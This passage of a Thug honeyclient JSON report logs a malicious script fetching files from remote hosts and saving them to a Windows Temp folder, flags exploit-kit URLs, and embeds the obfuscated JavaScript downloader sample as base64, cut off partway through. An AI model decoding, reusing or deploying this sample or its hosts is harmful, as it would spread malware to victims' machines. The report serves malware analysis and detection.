}, { "timestamp": "2016-12-15 20:01:58.911597", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] setRequestHeaders('User-Agent', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)')" }, { "timestamp": "2016-12-15 20:01:58.912096", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] send" }, { "timestamp": "2016-12-15 20:01:58.912590", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] Fetching from URL http://pedullaelectric.com/hmexsuo7l (method: GET)" }, { "timestamp": "2016-12-15 20:01:58.913221", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP Exploit redirection] about:blank -> http://pedullaelectric.com/hmexsuo7l" }, { "timestamp": "2016-12-15 20:01:58.913688", "cve": "None", "method": "Dynamic Analysis", "description": "about:blank -- Microsoft XMLHTTP Exploit --> http://pedullaelectric.com/hmexsuo7l" }, { "timestamp": "2016-12-15 20:02:00.212075", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP Redirection (Status: 302)] Content-Location: http://pedullaelectric.com/hmexsuo7l --> Location: http://pedullaelectric.com/electric/" }, { "timestamp": "2016-12-15 20:02:00.212422", "cve": "None", "method": "Dynamic Analysis", "description": "http://pedullaelectric.com/hmexsuo7l -- http-redirect --> http://pedullaelectric.com/electric/" }, { "timestamp": "2016-12-15 20:02:00.212940", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://pedullaelectric.com/electric/ (Status: 200, Referer: None)" }, { "timestamp": "2016-12-15 20:02:00.213239", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://pedullaelectric.com/electric/ (Content-type: text/html; charset=UTF-8, MD5: d41d8cd98f00b204e9800998ecf8427e)" }, { "timestamp": "2016-12-15 20:02:00.264195", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] open" }, { "timestamp": "2016-12-15 20:02:00.264582", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] Write" }, { "timestamp": "2016-12-15 20:02:00.264898", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] SaveToFile(C:\\Users\\7kh0hqcv\\AppData\\Local\\Temp/ZPJLQfI9rxCH7IY, 2)" }, { "timestamp": "2016-12-15 20:02:00.265258", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] Close" }, { "timestamp": "2016-12-15 20:02:00.265646", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] open" }, { "timestamp": "2016-12-15 20:02:00.265916", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] LoadFromFile(C:\\Users\\7kh0hqcv\\AppData\\Local\\Temp/ZPJLQfI9rxCH7IY)" }, { "timestamp": "2016-12-15 20:02:00.266173", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] Close" }, { "timestamp": "2016-12-15 20:02:00.266608", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] open('GET', 'http://stoveegol.com/wyj5rku', False)" }, { "timestamp": "2016-12-15 20:02:00.266925", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] setRequestHeaders('User-Agent', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)')" }, { "timestamp": "2016-12-15 20:02:00.267167", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] send" }, { "timestamp": "2016-12-15 20:02:00.267381", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] Fetching from URL http://stoveegol.com/wyj5rku (method: GET)" }, { "timestamp": "2016-12-15 20:02:00.267682", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP Exploit redirection] about:blank -> http://stoveegol.com/wyj5rku" }, { "timestamp": "2016-12-15 20:02:00.267897", "cve": "None", "method": "Dynamic Analysis", "description": "about:blank -- Microsoft XMLHTTP Exploit --> http://stoveegol.com/wyj5rku" }, { "timestamp": "2016-12-15 20:02:20.281005", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] Fetch failed" }, { "timestamp": "2016-12-15 20:02:20.281352", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] open" }, { "timestamp": "2016-12-15 20:02:20.281655", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] Write" }, { "timestamp": "2016-12-15 20:02:20.281923", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] SaveToFile(C:\\Users\\7kh0hqcv\\AppData\\Local\\Temp/ZPJLQfI9rxCH7IY, 2)" }, { "timestamp": "2016-12-15 20:02:20.282305", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] Close" }, { "timestamp": "2016-12-15 20:02:20.282655", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] open" }, { "timestamp": "2016-12-15 20:02:20.282903", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] LoadFromFile(C:\\Users\\7kh0hqcv\\AppData\\Local\\Temp/ZPJLQfI9rxCH7IY)" }, { "timestamp": "2016-12-15 20:02:20.283156", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] Close" } ], "thug": { "plugins": { "javaplugin": "1.6.0.32", "acropdf": "9.1.0", "shockwaveflash": "10.0.64.0" }, "options": { "delay": 0, "nofetch": false, "proxy": null, "timeout": 600, "threshold": 0, "referer": "http://www.google.com/", "extensive": false, "local": false, "events": [] }, "version": "0.8.12", "personality": { "useragent": "win7ie90" } }, "classifiers": [ { "url": "http://decorvise.com/themes/jaro/css/responsive.css", "classifier": "url", "rule": "g01Pack_2", "tags": "Exploit Kit" }, { "url": "http://decorvise.com/modules/wpstyleswitcher/css/wpstyleswitcher.css?20161215210123", "classifier": "url", "rule": "g01Pack_2", "tags": "Exploit Kit" } ] } ], "ssdeep": "192:GXxn7Vf/22Ieu42zfs4bBKBDXlT7hKtHRh43vbK:G91e2IJfzU4dObERMbK", "sha256": "dcfe9d2dd88d483a16462db5ad21918d5c46e3df9357c272e865acb649246996", "sha512": "bd9e1c8d5549744c2f5e652f8b053a030efda2076dcaad136b2b9cdecba2b67842d0db735896d0b85378f007fbc95ef1c3f02d45a7051685e3aa5321c9f30542", "payload": "U3RyaW5nLnByb3RvdHlwZVsiT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvRWU5Il0gPSBm\ndW5jdGlvbiAoKSB7cmV0dXJuICgiYXNkZiIsIHRoaXMuc3BsaXQoIiwiKS5qb2luKCIiKSk7fTsK\nLy9CRUdJTl9DT0RFQ19QQVJUCmZ1bmN0aW9uIE9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9s\nb1dYZjYoT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvQlhjNSkKe3ZhciBPbG9sb09sb2xv\nT2xvbG9PbG9sb09sb2xvT2xvbG9LcjE9bmV3IEFycmF5KCk7Ck9sb2xvT2xvbG9PbG9sb09sb2xv\nT2xvbG9PbG9sb0tyMVsxOTldPTEyODtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFb\nMjUyXT0xMjk7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzIzM109MTMwO09sb2xv\nT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVsyMjZdPTEzMTtPbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvT2xvbG9LcjFbMjI4XT0xMzI7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3Ix\nWzIyNF09MTMzO09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVsyMjldPTEzNDtPbG9s\nb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbMjMxXT0xMzU7T2xvbG9PbG9sb09sb2xvT2xv\nbG9PbG9sb09sb2xvS3IxWzIzNF09MTM2O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0ty\nMVsyMzVdPTEzNzsKT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzIzMl09MTM4O09s\nb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVsyMzldPTEzOTtPbG9sb09sb2xvT2xvbG9P\nbG9sb09sb2xvT2xvbG9LcjFbMjM4XT0xNDA7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nS3IxWzIzNl09MTQxO09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVsxOTZdPTE0MjtP\nbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbMTk3XT0xNDM7T2xvbG9PbG9sb09sb2xv\nT2xvbG9PbG9sb09sb2xvS3IxWzIwMV09MTQ0O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9s\nb0tyMVsyMzBdPTE0NTtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbMTk4XT0xNDY7\nT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzI0NF09MTQ3OwpPbG9sb09sb2xvT2xv\nbG9PbG9sb09sb2xvT2xvbG9LcjFbMjQ2XT0xNDg7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvS3IxWzI0Ml09MTQ5O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVsyNTFdPTE1\nMDtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbMjQ5XT0xNTE7T2xvbG9PbG9sb09s\nb2xvT2xvbG9PbG9sb09sb2xvS3IxWzI1NV09MTUyO09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9P\nbG9sb0tyMVsyMTRdPTE1MztPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbMjIwXT0x\nNTQ7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzE2Ml09MTU1O09sb2xvT2xvbG9P\nbG9sb09sb2xvT2xvbG9PbG9sb0tyMVsxNjNdPTE1NjtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nT2xvbG9LcjFbMTY1XT0xNTc7Ck9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVs4MzU5\nXT0xNTg7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzQwMl09MTU5O09sb2xvT2xv\nbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVsyMjVdPTE2MDtPbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvT2xvbG9LcjFbMjM3XT0xNjE7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzI0\nM109MTYyO09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVsyNTBdPTE2MztPbG9sb09s\nb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbMjQxXT0xNjQ7T2xvbG9PbG9sb09sb2xvT2xvbG9P\nbG9sb09sb2xvS3IxWzIwOV09MTY1O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVsx\nNzBdPTE2NjtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbMTg2XT0xNjc7Ck9sb2xv\nT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVsxOTFdPTE2ODtPbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvT2xvbG9LcjFbODk3Nl09MTY5O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0ty\nMVsxNzJdPTE3MDtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbMTg5XT0xNzE7T2xv\nbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzE4OF09MTcyO09sb2xvT2xvbG9PbG9sb09s\nb2xvT2xvbG9PbG9sb0tyMVsxNjFdPTE3MztPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9L\ncjFbMTcxXT0xNzQ7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzE4N109MTc1O09s\nb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVs5NjE3XT0xNzY7T2xvbG9PbG9sb09sb2xv\nT2xvbG9PbG9sb09sb2xvS3IxWzk2MThdPTE3NzsKT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvS3IxWzk2MTldPTE3ODtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbOTQ3NF09\nMTc5O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVs5NTA4XT0xODA7T2xvbG9PbG9s\nb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzk1NjldPTE4MTtPbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvT2xvbG9LcjFbOTU3MF09MTgyO09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVs5\nNTU4XT0xODM7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzk1NTddPTE4NDtPbG9s\nb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbOTU3MV09MTg1O09sb2xvT2xvbG9PbG9sb09s\nb2xvT2xvbG9PbG9sb0tyMVs5NTUzXT0xODY7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nS3IxWzk1NTldPTE4NzsKT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzk1NjVdPTE4\nODtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbOTU2NF09MTg5O09sb2xvT2xvbG9P\nbG9sb09sb2xvT2xvbG9PbG9sb0tyMVs5NTYzXT0xOTA7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvS3IxWzk0ODhdPTE5MTtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbOTQ5\nMl09MTkyO09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVs5NTI0XT0xOTM7T2xvbG9P\nbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzk1MTZdPTE5NDtPbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvT2xvbG9LcjFbOTUwMF09MTk1O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0ty\nMVs5NDcyXT0xOTY7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzk1MzJdPTE5NzsK\nT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzk1NjZdPTE5ODtPbG9sb09sb2xvT2xv\nbG9PbG9sb09sb2xvT2xvbG9LcjFbOTU2N109MTk5O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9P\nbG9sb0tyMVs5NTYyXT0yMDA7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzk1NTZd\nPTIwMTtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbOTU3N109MjAyO09sb2xvT2xv\nbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVs5NTc0XT0yMDM7T2xvbG9PbG9sb09sb2xvT2xvbG9P\nbG9sb09sb2xvS3IxWzk1NjhdPTIwNDtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFb\nOTU1Ml09MjA1O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVs5NTgwXT0yMDY7T2xv\nbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzk1NzVdPTIwNzsKT2xvbG9PbG9sb09sb2xv\nT2xvbG9PbG9sb09sb2xvS3IxWzk1NzZdPTIwODtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xv\nbG9LcjFbOTU3Ml09MjA5O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVs5NTczXT0y\nMTA7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzk1NjFdPTIxMTtPbG9sb09sb2xv\nT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbOTU2MF09MjEyO09sb2xvT2xvbG9PbG9sb09sb2xvT2xv\nbG9PbG9sb0tyMVs5NTU0XT0yMTM7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzk1\nNTVdPTIxNDtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbOTU3OV09MjE1O09sb2xv\nT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVs5NTc4XT0yMTY7T2xvbG9PbG9sb09sb2xvT2xv\nbG9PbG9sb09sb2xvS3IxWzk0OTZdPTIxNzsKT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nS3IxWzk0ODRdPTIxODtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbOTYwOF09MjE5\nO09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVs5NjA0XT0yMjA7T2xvbG9PbG9sb09s\nb2xvT2xvbG9PbG9sb09sb2xvS3IxWzk2MTJdPTIyMTtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nT2xvbG9LcjFbOTYxNl09MjIyO09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVs5NjAw\nXT0yMjM7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzk0NV09MjI0O09sb2xvT2xv\nbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVsyMjNdPTIyNTtPbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvT2xvbG9LcjFbOTE1XT0yMjY7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzk2\nMF09MjI3OwpPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbOTMxXT0yMjg7T2xvbG9P\nbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzk2M109MjI5O09sb2xvT2xvbG9PbG9sb09sb2xv\nT2xvbG9PbG9sb0tyMVsxODFdPTIzMDtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFb\nOTY0XT0yMzE7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzkzNF09MjMyO09sb2xv\nT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVs5MjBdPTIzMztPbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvT2xvbG9LcjFbOTM3XT0yMzQ7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3Ix\nWzk0OF09MjM1O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVs4NzM0XT0yMzY7T2xv\nbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzk2Nl09MjM3OwpPbG9sb09sb2xvT2xvbG9P\nbG9sb09sb2xvT2xvbG9LcjFbOTQ5XT0yMzg7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nS3IxWzg3NDVdPTIzOTtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbODgwMV09MjQw\nO09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVsxNzddPTI0MTtPbG9sb09sb2xvT2xv\nbG9PbG9sb09sb2xvT2xvbG9LcjFbODgwNV09MjQyO09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9P\nbG9sb0tyMVs4ODA0XT0yNDM7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzg5OTJd\nPTI0NDtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbODk5M109MjQ1O09sb2xvT2xv\nbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVsyNDddPTI0NjtPbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvT2xvbG9LcjFbODc3Nl09MjQ3OwpPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFb\nMTc2XT0yNDg7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvS3IxWzg3MjldPTI0OTtPbG9s\nb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbMTgzXT0yNTA7T2xvbG9PbG9sb09sb2xvT2xv\nbG9PbG9sb09sb2xvS3IxWzg3MzBdPTI1MTtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9L\ncjFbODMxOV09MjUyO09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0tyMVsxNzhdPTI1MztP\nbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFbOTYzMl09MjU0O09sb2xvT2xvbG9PbG9s\nb09sb2xvT2xvbG9PbG9sb0tyMVsxNjBdPTI1NTsKdmFyIE9sb2xvT2xvbG9PbG9sb09sb2xvT2xv\nbG9PbG9sb1VqMz1uZXcgQXJyYXkoKTsKZm9yICh2YXIgT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvWHk4PTA7IE9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1h5OCA8IE9sb2xvT2xv\nbG9PbG9sb09sb2xvT2xvbG9PbG9sb0JYYzUubGVuZ3RoOyBPbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvT2xvbG9YeTggKz0gMSkKe3ZhciBPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9RTmE1\nPU9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0JYYzVbImNoYXJDb2RlQXQiXShPbG9sb09s\nb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9YeTgpOwppZiAoT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvUU5hNSA8IDEyOCl7dmFyIE9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0x6Nz1P\nbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9RTmE1O30KZWxzZSB7dmFyIE9sb2xvT2xvbG9P\nbG9sb09sb2xvT2xvbG9PbG9sb0x6Nz1PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9LcjFb\nT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvUU5hNV07fQpPbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvT2xvbG9VajNbInB1c2giXShPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9Mejcp\nO307CnJldHVybiBPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VajM7fQpmdW5jdGlvbiBP\nbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9FdTYoT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvQVNiMSkKe3ZhciBPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzPW5ldyBB\ncnJheSgpOwpldmFsKCJPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzE2OF09MTkx\nO09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMTY5XT04OTc2O09sb2xvT2xvbG9P\nbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMTcwXT0xNzI7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvVUVmM1sxNzFdPTE4OTtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzE3\nMl09MTg4O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMTczXT0xNjE7T2xvbG9P\nbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1sxNzRdPTE3MTtPbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvT2xvbG9VRWYzWzE3NV09MTg3O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VF\nZjNbMTc2XT05NjE3O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMTc3XT05NjE4\nOyIpOwpldmFsKCJPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzE3OF09OTYxOTtP\nbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzE3OV09OTQ3NDtPbG9sb09sb2xvT2xv\nbG9PbG9sb09sb2xvT2xvbG9VRWYzWzE4MF09OTUwODtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nT2xvbG9VRWYzWzE4MV09OTU2OTtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzE4\nMl09OTU3MDtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzE4M109OTU1ODtPbG9s\nb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzE4NF09OTU1NztPbG9sb09sb2xvT2xvbG9P\nbG9sb09sb2xvT2xvbG9VRWYzWzE4NV09OTU3MTtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xv\nbG9VRWYzWzE4Nl09OTU1MztPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzE4N109\nOTU1OTsiKTsKZXZhbCgiT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1sxODhdPTk1\nNjU7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1sxODldPTk1NjQ7T2xvbG9PbG9s\nb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1sxOTBdPTk1NjM7T2xvbG9PbG9sb09sb2xvT2xvbG9P\nbG9sb09sb2xvVUVmM1sxOTFdPTk0ODg7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVm\nM1sxOTJdPTk0OTI7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1sxOTNdPTk1MjQ7\nT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1sxOTRdPTk1MTY7T2xvbG9PbG9sb09s\nb2xvT2xvbG9PbG9sb09sb2xvVUVmM1sxOTVdPTk1MDA7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvVUVmM1sxOTZdPTk0NzI7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1sx\nOTddPTk1MzI7Iik7CmV2YWwoIk9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMTk4\nXT05NTY2O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMTk5XT05NTY3O09sb2xv\nT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMjAwXT05NTYyO09sb2xvT2xvbG9PbG9sb09s\nb2xvT2xvbG9PbG9sb1VFZjNbMjAxXT05NTU2O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9s\nb1VFZjNbMjAyXT05NTc3O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMjAzXT05\nNTc0O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMjA0XT05NTY4O09sb2xvT2xv\nbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMjA1XT05NTUyO09sb2xvT2xvbG9PbG9sb09sb2xv\nT2xvbG9PbG9sb1VFZjNbMjA2XT05NTgwO09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VF\nZjNbMjA3XT05NTc1OyIpOwpldmFsKCJPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYz\nWzIwOF09OTU3NjtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzIwOV09OTU3MjtP\nbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzIxMF09OTU3MztPbG9sb09sb2xvT2xv\nbG9PbG9sb09sb2xvT2xvbG9VRWYzWzIxMV09OTU2MTtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nT2xvbG9VRWYzWzIxMl09OTU2MDtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzIx\nM109OTU1NDtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzIxNF09OTU1NTtPbG9s\nb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzIxNV09OTU3OTtPbG9sb09sb2xvT2xvbG9P\nbG9sb09sb2xvT2xvbG9VRWYzWzIxNl09OTU3ODtPbG9sb09sb2x